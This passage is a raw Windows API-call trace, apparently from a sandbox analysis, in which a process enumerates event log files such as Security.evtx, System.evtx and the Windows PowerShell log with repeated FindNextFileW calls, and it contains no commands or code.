lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93d06f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93d06f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-MUI%4Admin.evtx", cAlternateFileName="MI30D3~1.EVT")) returned 1 [0136.099] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93aa49b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93aa49b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-MUI%4Operational.evtx", cAlternateFileName="MI6F01~1.EVT")) returned 1 [0136.099] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d33b19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9d33b19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-NCSI%4Operational.evtx", cAlternateFileName="MI483C~1.EVT")) returned 1 [0136.100] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbcf0ff2, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbcf0ff2, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-NetworkProfile%4Operational.evtx", cAlternateFileName="MIFC66~1.EVT")) returned 1 [0136.100] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ab3154, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ab3154, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Ntfs%4Operational.evtx", cAlternateFileName="MI6E98~1.EVT")) returned 1 [0136.100] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ad9393, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ad9393, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Ntfs%4WHC.evtx", cAlternateFileName="MIB2AC~1.EVT")) returned 1 [0136.100] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5fe5cb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5fe5cb, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", cAlternateFileName="MI6AFE~1.EVT")) returned 1 [0136.100] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24cdef0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe24cdef0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-ReadyBoost%4Operational.evtx", cAlternateFileName="MIB9D2~1.EVT")) returned 1 [0136.100] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd125335f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd125335f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", cAlternateFileName="MI7A67~1.EVT")) returned 1 [0136.100] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SettingSync%4Debug.evtx", cAlternateFileName="MI3773~1.EVT")) returned 1 [0136.100] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SettingSync%4Operational.evtx", cAlternateFileName="MI36AA~1.EVT")) returned 1 [0136.100] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Shell-Core%4ActionCenter.evtx", cAlternateFileName="MI2E2E~1.EVT")) returned 1 [0136.100] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Shell-Core%4Operational.evtx", cAlternateFileName="MI1C6C~1.EVT")) returned 1 [0136.101] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SmbClient%4Connectivity.evtx", cAlternateFileName="MI00FB~1.EVT")) returned 1 [0136.101] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97b042f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97b042f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBClient%4Operational.evtx", cAlternateFileName="MID8B0~1.EVT")) returned 1 [0136.101] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SmbClient%4Security.evtx", cAlternateFileName="MI8CEE~1.EVT")) returned 1 [0136.101] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb1ea1c9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb1ea1c9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBServer%4Audit.evtx", cAlternateFileName="MIE3AD~1.EVT")) returned 1 [0136.102] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb19dd19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb19dd19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBServer%4Connectivity.evtx", cAlternateFileName="MI8248~1.EVT")) returned 1 [0136.102] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb151873, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb151873, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBServer%4Operational.evtx", cAlternateFileName="MI4B6B~1.EVT")) returned 1 [0136.102] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb177aca, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb177aca, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBServer%4Security.evtx", cAlternateFileName="MI7709~1.EVT")) returned 1 [0136.102] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd751ea61, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd751ea61, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Store%4Operational.evtx", cAlternateFileName="MICEDD~1.EVT")) returned 1 [0136.102] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd0763ff, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd0763ff, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TaskScheduler%4Maintenance.evtx", cAlternateFileName="MIE2F0~1.EVT")) returned 1 [0136.102] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5089d037, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5089d037, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", cAlternateFileName="MIAB1D~1.EVT")) returned 1 [0136.102] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x508c32a6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x508c32a6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", cAlternateFileName="MI62D3~1.EVT")) returned 1 [0136.102] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc14341c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc14341c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", cAlternateFileName="MIEC03~1.EVT")) returned 1 [0136.102] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1b5b23, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1b5b23, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", cAlternateFileName="MI1F5D~1.EVT")) returned 1 [0136.102] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74ac348, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74ac348, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TWinUI%4Operational.evtx", cAlternateFileName="MIA925~1.EVT")) returned 1 [0136.103] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50aff605, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50aff605, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-User Profile Service%4Operational.evtx", cAlternateFileName="MI4D4C~1.EVT")) returned 1 [0136.103] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50981e6e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50981e6e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-UserPnp%4ActionCenter.evtx", cAlternateFileName="MI5FF0~1.EVT")) returned 1 [0136.103] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5095bc04, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5095bc04, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-UserPnp%4DeviceInstall.evtx", cAlternateFileName="MIBD88~1.EVT")) returned 1 [0136.103] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b97f64, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b97f64, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", cAlternateFileName="MICC17~1.EVT")) returned 1 [0136.103] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc986efe1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc986efe1, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Wcmsvc%4Operational.evtx", cAlternateFileName="MI72BF~1.EVT")) returned 1 [0136.103] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb426548, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb426548, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Windows Defender%4Operational.evtx", cAlternateFileName="MI7501~1.EVT")) returned 1 [0136.103] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb4729e7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb4729e7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Windows Defender%4WHC.evtx", cAlternateFileName="MIF226~1.EVT")) returned 1 [0136.103] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4b19353, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4b19353, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", cAlternateFileName="MIDCC7~1.EVT")) returned 1 [0136.103] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9c9b1b6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9c9b1b6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", cAlternateFileName="MI7771~1.EVT")) returned 1 [0136.104] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9df26e9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9df26e9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", cAlternateFileName="MI4667~1.EVT")) returned 1 [0136.104] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd122d184, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd122d184, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Winlogon%4Operational.evtx", cAlternateFileName="MID6AB~1.EVT")) returned 1 [0136.104] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf164b9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcf164b9b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-WMI-Activity%4Operational.evtx", cAlternateFileName="MIFF83~1.EVT")) returned 1 [0136.104] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9a458f4, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Security.evtx", cAlternateFileName="SECURI~1.EVT")) returned 1 [0136.104] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a6db2c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x95a6db2c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.evtx", cAlternateFileName="SETUP~1.EVT")) returned 1 [0136.104] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505097c4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505097c4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="System.evtx", cAlternateFileName="SYSTEM~1.EVT")) returned 1 [0136.104] FindNextFileW (in: hFindFile=0x69b188, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows PowerShell.evtx", cAlternateFileName="WINDOW~1.EVT")) returned 1 [0136.104] FindNextFileW (in: hFindFile=0x69b188, 